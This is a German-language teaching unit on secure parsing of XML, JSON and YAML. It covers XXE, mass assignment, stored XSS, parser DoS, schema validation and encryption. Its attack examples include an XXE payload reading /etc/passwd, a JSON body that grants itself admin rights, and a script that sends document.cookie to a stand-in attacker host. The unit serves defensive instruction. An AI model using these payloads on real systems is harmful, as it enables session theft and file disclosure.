Sicherheit und Validierung

Einführung

Ein unscheinbares JSON-Objekt, eine XML-Datei oder ein YAML-Import – und schon kann ein einziger fehlerhafter Parser die gesamte Anwendung kompromittieren. In der Praxis genügen wenige Zeilen manipulierter Daten, um Server zum Absturz zu bringen oder vertrauliche Informationen offenzulegen.

Sichere Datenverarbeitung beginnt also nicht bei der Verschlüsselung, sondern beim richtigen Umgang mit den Formaten selbst.

In dieser Einheit lernst du, wie du Parser sicher konfigurierst, Eingaben prüfst und so Datenintegrität und Anwendungssicherheit gewährleistest.

Lernziele

Nach dieser Lerneinheit kannst du:

  1. Risiken beim Parsen von XML, JSON und YAML erkennen und erklären.
  2. Parser sicher konfigurieren, um Angriffe wie XXE oder DoS zu verhindern.
  3. Eingabedaten validieren und bereinigen, um Manipulationen zu vermeiden.
  4. Daten mit Verschlüsselung und Signierung schützen und ihre Integrität sicherstellen.

Risiken beim Parsen von Datenaustauschformaten

Beim Parsen von Datenaustauschformaten wie XML, JSON, YAML und anderen treten mehrere Risiken auf, die die Sicherheit von Anwendungen bedrohen können.

Diese Risiken resultieren aus der Art und Weise, wie Daten verarbeitet oder interpretiert werden, und der Möglichkeit, dass bösartige Daten eingeschleust werden, um unerwünschtes Verhalten zu verursachen.

Buffer Overflow

Ein Buffer Overflow tritt auf, wenn ein Programm mehr Daten in einen Puffer schreibt, als es Kapazität hat. Dies kann durch das Einlesen einer zu großen Datei oder das nicht Überprüfen der Dateigröße verursacht werden.

Angreifer nutzen Buffer Overflows, um den Programmablauf zu manipulieren und eigenen Code auszuführen. (Dies betrifft primär Parser, die in nicht-speicherverwalteten Sprachen wie C/C++ implementiert sind).

XML External Entity (XXE) Injection

Bei XML ist die XXE-Injection eine bekannte Angriffstechnik. Sie erlaubt es einem Angreifer, externe Entitäten zu definieren und auf Systemdateien zuzugreifen (z. B. file:///etc/passwd), Denial of Service (DoS) durchzuführen oder interne Netzwerke zu erreichen.

Die Schwachstelle entsteht oft durch das Parsen von XML-Eingaben mit veralteten oder schlecht konfigurierten Parsern.

Unsichere JSON-Verarbeitung

JSON wird häufig für Webanwendungen genutzt. Da JSON selbst keine ausführbaren Entitäten (wie XML) oder komplexe Typen (wie YAML) definiert, liegen die Risiken oft in der Art der Verarbeitung nach dem Parsen:

  1. Mass Assignment: Angreifer fügen dem JSON-Objekt Felder hinzu, die nicht für die Eingabe vorgesehen waren (z. B. "isAdmin": true), um interne Systemzustände zu manipulieren.
  2. Stored XSS: Der JSON-Payload enthält schädliche Skript-Tags (z. B. {"username": "<script>alert(1)</script>"}), die geparst, in einer Datenbank gespeichert und später auf einer Webseite unsicher gerendert werden.

DoS durch Parsing

Schlecht entworfene oder implementierte Parser können durch speziell gestaltete Eingaben zu einem Denial of Service (DoS) führen, indem sie übermäßige Ressourcen (CPU, Speicher) verbrauchen.

  • XML: Ein klassisches Beispiel ist die “Billion Laughs Attack”, bei der durch exponentiell verschachtelte Entitäten der Speicher des Parsers erschöpft wird.
  • JSON/YAML: Extrem tief verschachtelte Objekte oder Arrays können den Parser durch Rekursion lahmlegen.

Prävention

Validierung und Sanitization

Die Validierung der Eingabedaten gegen ein Schema (z.B. XML Schema, JSON Schema) stellt sicher, dass nur erwartete und sichere Daten verarbeitet werden (Whitelist-Ansatz). Die Sanitization bereinigt Eingabedaten von potenziell gefährlichen Inhalten (z. B. das Entfernen von <script>-Tags).

Sichere Parser-Konfiguration

Verwende immer die neueste Version der Parser-Bibliotheken und konfiguriere sie sicher.

  • XML: Deaktiviere die Verarbeitung externer Entitäten (DOCTYPEs) und Inline-Schemas.
  • YAML: Verwende ausschließlich “sichere” Ladefunktionen (z. B. yaml.safe_load() in Python), die das Ausführen von Code verhindern.
  • Allgemein: Setze Ressourcenlimits für die maximale Dokumentengröße oder Verschachtelungstiefe, um DoS-Angriffe abzuwehren.

Einsatz von Sicherheitsmechanismen

Implementiere Sicherheitsmechanismen wie Web Application Firewalls (WAFs), die bekannte Angriffsvektoren, einschließlich solcher im Zusammenhang mit dem Parsen von Datenaustauschformaten, erkennen und abwehren können.

Security by Design

Entwirf Anwendungen von Anfang an mit Sicherheit im Blick. Verwende sichere Kodierungspraktiken (z. B. niemals Eingabedaten direkt rendern) und beziehe Sicherheitsexperten in den Entwicklungsprozess ein.

Codebeispiele

XML Parsing in Java (Sicher gegen XXE):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Verhindert XXE und externe Schema-Auflösung
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
// Deaktiviert DOCTYPE-Deklarationen komplett
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();

JSON Parsing in Node.js (DoS-Prävention):

const express = require('express');
const app = express();
 
// Akzeptiert JSON, aber limitiert die Payload-Größe auf 10kb,
// um speicherbasierte DoS-Angriffe zu verhindern.
app.use(express.json({ limit: '10kb' }));

Schutz vor datenbasierten Angriffen (XML, JSON, YAML)

Datenbasierte Angriffe nutzen die Struktur oder den Inhalt von Datenaustauschformaten aus, um die Anwendungslogik zu manipulieren oder Schadcode einzuschleusen.

XML External Entity (XXE)

Wie bereits erwähnt, ist XXE eine spezifische Angriffsform bei XML. Angreifer nutzen die Fähigkeit von XML, externe Entitäten zu definieren, um serverseitige Ressourcen auszulesen.

Beispiel eines XXE-Payloads:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Wird dies von einem unsicheren Parser verarbeitet, sendet der Server den Inhalt der /etc/passwd-Datei (sofern Berechtigungen vorhanden sind) zurück an den Angreifer.

Angriffe mittels JSON-Daten: Mass Assignment

Da JSON eine reine Datenstruktur ohne Entitäten oder Code-Ausführung ist, zielen Angriffe hier auf die Verarbeitung der Daten durch die Anwendung ab.

1. Mass Assignment (Massen-Zuweisung)

Dieser Angriff tritt auf, wenn ein Server ein JSON-Objekt direkt in ein internes Datenmodell (z. B. ein Benutzerobjekt) übernimmt, ohne die Felder zu filtern.

Beispiel: Eine Anwendung erlaubt Benutzern, ihr Profil zu aktualisieren.

  • Erwartetes JSON vom Client:
    {
      "username": "MaxMustermann",
      "bio": "Ein neuer Text."
    }
  • Bösartiger Payload des Angreifers:
    {
      "username": "Angreifer",
      "bio": "Gehackt.",
      "isAdmin": true,
      "accountBalance": 999999
    }

Wenn der Server alle Felder des JSON blind übernimmt (Mass Assignment), ernennt sich der Angreifer selbst zum Administrator oder manipuliert sein Konto.

Angriffe mittels JSON-Daten: Stored XSS

2. Stored Cross-Site Scripting (XSS)

Hierbei wird JSON als Transportmittel für Client-seitigen Schadcode (meist JavaScript) verwendet. Der Server parst das JSON, speichert den schädlichen String in der Datenbank, und eine andere Anwendung (z. B. ein Admin-Dashboard) lädt diese Daten und rendert sie unsicher im HTML-Kontext.

Beispiel: Ein Angreifer setzt einen schädlichen Benutzernamen.

{
  "username": "NetterUser <script>fetch('https://angreifer.com/steal?cookie=' + document.cookie);</script>"
}

Wenn ein anderer Benutzer (z. B. ein Admin) eine Liste aller User aufruft und die Anwendung den username direkt ins HTML schreibt, wird das Skript im Browser des Admins ausgeführt und dessen Sitzungs-Cookie gestohlen.

Prävention

Validierung und Sanitierung

  • Eingabevalidierung: Strenge Validierung aller Eingabedaten gegen ein erwartetes Format (Schema-Validierung) und eine Whitelist von erlaubten Feldern (Schutz vor Mass Assignment).
  • Daten-Sanitierung (Output Encoding): Das Wichtigste gegen XSS ist das korrekte Kodieren (Escaping) von Daten, bevor sie im HTML-Kontext ausgegeben werden. < wird zu &lt;, > zu &gt; usw.

Verwenden sicherer Parser und APIs

  • Verwende APIs und Parser, die XXE-Angriffe standardmäßig verhindern oder (wie im Java-Beispiel oben) sicher konfiguriert werden können.
  • Nutze bei YAML-Parsern nur die “safe_load”-Funktionen.

Prinzip der minimalen Rechte (Data Transfer Objects)

  • Vermeide Mass Assignment, indem du Data Transfer Objects (DTOs) oder “ViewModels” verwendest, die explizit nur die Felder definieren, die vom Client erwartet werden (z. B. username und bio, aber nicht isAdmin).
⏳ Lädt Dataview-Inhalt...

Schema-Validierung zur Überprüfung von Eingabedaten

Die Schema-Validierung ist ein essenzieller Schritt im Umgang mit Datenaustauschformaten, um sicherzustellen, dass Eingabedaten bestimmten vordefinierten Spezifikationen oder Strukturen entsprechen. Dies trägt zur Konsistenz, Sicherheit und Integrität der Daten bei und hilft, Fehler frühzeitig zu erkennen und zu verhindern.

Was ist ein Schema?

Ein Schema definiert die Struktur, den Inhalt und die Semantik von Daten. Es legt fest, welche Felder vorhanden sein müssen, welche Datentypen sie haben und ob bestimmte Einschränkungen (z. B. Mindestlängen, Zahlenbereiche) oder Regeln gelten. Schemas werden oft in formellen Sprachen wie XML Schema Definition (XSD) für XML-Daten oder JSON Schema für JSON-Daten beschrieben.

Warum ist Schema-Validierung wichtig?

  • Qualitätssicherung: Stellt sicher, dass Daten den erwarteten Formaten und Standards entsprechen.
    • Vermeidung von Dateninkonsistenzen: Hilft, inkonsistente oder fehlerhafte Daten abzufangen, bevor sie in eine Datenbank oder ein System eingeführt werden.
    • Sicherheit: Reduziert das Risiko von Sicherheitslücken, die durch unsachgemäße Datenformate oder unerwartete Felder (Mass Assignment) entstehen könnten.
    • Interoperabilität: Fördert die Zusammenarbeit zwischen verschiedenen Systemen und Anwendungen durch einheitliche Datenstrukturen.

Praktische Beispiele

Beispiel eines JSON Schemas

{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "title": "Person",
  "type": "object",
  "properties": {
    "name": {"type": "string", "minLength": 1},
    "age": {"type": "integer", "minimum": 0}
  },
  "required": ["name", "age"],
  "additionalProperties": false
}

Dieses Schema definiert ein Objekt für eine Person:

  1. Es muss die Felder name (Zeichenkette, nicht leer) und age (ganze Zahl ≥ 0) enthalten.
  2. "additionalProperties": false ist eine wichtige Sicherheitsmaßnahme: Es verbietet alle Felder, die nicht explizit in properties definiert sind (Schutz vor Mass Assignment).

Überprüfung von Daten gegen das Schema

  • Valide Daten:
    {
      "name": "John Doe",
      "age": 30
    }
  • Invalide Daten (Verstoß gegen minimum):
    {
      "name": "Jane Doe",
      "age": -5
    }
  • Invalide Daten (Verstoß gegen additionalProperties):
    {
      "name": "Eve",
      "age": 42,
      "isAdmin": true
    }

Tools und Bibliotheken zur Schema-Validierung

Es gibt zahlreiche Tools und Bibliotheken, die die Schema-Validierung unterstützen. Einige davon sind:

  • XML-Daten: Xerces (Java), lxml (Python)
  • JSON-Daten: AJV (JavaScript), jsonschema (Python)

Schritte zur Implementierung der Schema-Validierung

  1. Schema definieren: Bestimme die Struktur und die Regeln für deine Daten gemäß den Anforderungen deiner Anwendung.
  2. Validierungstool auswählen: Wähle ein Werkzeug oder eine Bibliothek, die deine Schema-Sprache unterstützt und für deine Programmierumgebung geeignet ist.
  3. Daten validieren: Überprüfe eingehende Daten unmittelbar nach dem Empfang gegen das definierte Schema, bevor du mit diesen Daten weiterarbeitest.
  4. Fehlerbehandlung: Implementiere eine angemessene Fehlerbehandlung (z. B. HTTP-Status 400 Bad Request) für den Fall, dass Daten nicht dem Schema entsprechen.

Verschlüsselung und Signierung von ausgetauschten Daten

Während die vorherigen Abschnitte die Risiken bei der Verarbeitung von Daten (Parsing, Validierung) behandelten, ist es ebenso wichtig, die Daten auf dem Transportweg vor unbefugtem Zugriff und Manipulation zu schützen.

Verschlüsselung

Verschlüsselung ist ein essenzieller Prozess, der dazu dient, den Inhalt von Datenaustauschformaten vor unbefugtem Zugriff zu schützen. Wenn Daten verschlüsselt sind, können sie ohne den entsprechenden Schlüssel nicht gelesen oder verstanden werden

Verschlüsselung

Es gibt zwei Haupttypen der Verschlüsselung:

  • Symmetrische Verschlüsselung: Hier verwenden beide Kommunikationspartner den gleichen Schlüssel für die Verschlüsselung und Entschlüsselung der Nachricht. Bekannte Algorithmen sind AES (Advanced Encryption Standard) und (historisch) DES (Data Encryption Standard).
Symmetrische Verschlüsselung (Bildrechte: Ausbildung in der IT)
  • Asymmetrische Verschlüsselung: Dieser Ansatz verwendet ein Schlüsselpaar, bestehend aus einem privaten Schlüssel, der geheim gehalten wird, und einem öffentlichen Schlüssel, der allen bekannt gemacht werden kann. Typische Anwendungen sind SSL/TLS für sichere Verbindungen im Internet. RSA ist ein weit verbreiteter asymmetrischer Algorithmus.
Asymmetrische Verschlüsselung (Bildrechte: Ausbildung in der IT)

Signierung

Die Signierung von Daten gewährleistet deren Integrität (die Daten wurden nicht verändert) und Authentizität (die Daten stammen vom erwarteten Absender).

  • Digitale Signaturen: Dabei wird meist ein Hash-Wert (ein eindeutiger Fingerabdruck) der Daten mit dem privaten Schlüssel des Absenders verschlüsselt (signiert). Der Empfänger kann dann mit dem öffentlichen Schlüssel des Absenders die Signatur entschlüsseln, den Hash-Wert selbst berechnen und die beiden Werte vergleichen.
Signierung (Bildrechte: Ausbildung in der IT)

Verschlüsselung und Signierung bieten zusammen eine umfassende Sicherheitslösung für den Datenaustausch. Durch Verschlüsselung wird sichergestellt, dass nur befugte Personen Zugriff auf die Daten haben. Signierung hingegen bestätigt die Integrität der Daten und die Identität des Senders.

⏳ Lädt Dataview-Inhalt...

Zusammenfassung

Zusammenfassung:

Risiken beim Parsen von Datenaustauschformaten

Beim Verarbeiten von Formaten wie XML, JSON oder YAML können gravierende Sicherheitsrisiken entstehen. Diese resultieren aus fehlerhafter Validierung oder unsicherer Parserkonfiguration.

  • Buffer Overflow: Tritt auf, wenn mehr Daten eingelesen werden, als der Speicherbereich erlaubt. Besonders kritisch in C/C++-Parsern.
  • Denial of Service (DoS): Durch zu tiefe Verschachtelungen oder übergroße Dateien werden Ressourcen überlastet.
  • Angriffe durch externe Entitäten (XXE): XML-Parser können so manipuliert werden, dass sie lokale Dateien auslesen oder Netzwerkanfragen ausführen.

Eine sichere Parserkonfiguration (z. B. Deaktivierung externer Entitäten oder Nutzung sicherer Ladefunktionen) ist entscheidend, um diese Risiken zu verhindern.

XML- und JSON-spezifische Angriffe

Jedes Format weist eigene Angriffsflächen auf, abhängig von seiner Struktur und Verarbeitung.

  • XML – XXE (XML External Entity): Angreifer nutzen externe Entitäten, um auf Systemressourcen zuzugreifen. Unsichere Parser erlauben Zugriff auf Dateien wie /etc/passwd oder interne Netzwerke.
  • JSON – Mass Assignment & Stored XSS: JSON erlaubt das Hinzufügen unerwarteter Felder (z. B. isAdmin: true) oder das Einschleusen von Schadcode in Feldern, der später im Frontend ausgeführt wird.
  • YAML – Unsichere Ladefunktionen: Die Funktion yaml.load() kann Code ausführen. Daher sollte immer yaml.safe_load() verwendet werden.

Validierung und Sanitization

Eine gründliche Prüfung eingehender Daten schützt vor Manipulation und Angriffen.

  • Schema-Validierung: Stellt sicher, dass nur erwartete Daten verarbeitet werden (z. B. mittels XML Schema oder JSON Schema).
  • Sanitization: Entfernt schädliche Inhalte wie Skript-Tags vor der weiteren Verarbeitung.

Sichere Parser-Konfiguration

Parser sollten stets aktuell gehalten und sicher konfiguriert werden:

  • XML: Externe Entitäten deaktivieren, DOCTYPE-Deklarationen verbieten.
  • YAML: Immer safe_load() verwenden, um Codeausführung zu verhindern.
  • JSON: Eingabedaten begrenzen (z. B. maximale Größe), um DoS-Angriffe zu vermeiden.

Schutz durch Architektur und Design

Sicherheitsmaßnahmen sollten bereits beim Entwurf der Anwendung integriert werden.

  • Security by Design: Eingaben nie direkt rendern, sichere Kodierungspraktiken anwenden.
  • Web Application Firewalls (WAFs): Erkennen und blockieren bekannte Angriffsmuster.

Datenvalidierung mit Schemas

Schemas definieren die Struktur, Datentypen und erlaubten Werte einer Eingabe. Dadurch wird Konsistenz und Sicherheit gewährleistet.

  • JSON Schema Beispiel:

    {
      "$schema": "http://json-schema.org/draft-07/schema#",
      "title": "Person",
      "type": "object",
      "properties": {
        "name": {"type": "string", "minLength": 1},
        "age": {"type": "integer", "minimum": 0}
      },
      "required": ["name", "age"],
      "additionalProperties": false
    }

    Dieses Schema erlaubt nur die Felder name und age und verhindert zusätzliche, potenziell gefährliche Eigenschaften.

Verschlüsselung und Signierung

Zum Schutz von Daten während des Transports sind Verschlüsselung und Signierung essenziell.

  • Symmetrische Verschlüsselung: Ein gemeinsamer Schlüssel für Sender und Empfänger (z. B. AES).
  • Asymmetrische Verschlüsselung: Nutzung eines öffentlichen und eines privaten Schlüssels (z. B. RSA, TLS).
  • Digitale Signaturen: Gewährleisten Integrität und Authentizität der Daten, indem ein Hashwert mit dem privaten Schlüssel signiert wird.

Verschlüsselung schützt Vertraulichkeit, Signierung stellt sicher, dass Daten unverändert und von der richtigen Quelle stammen.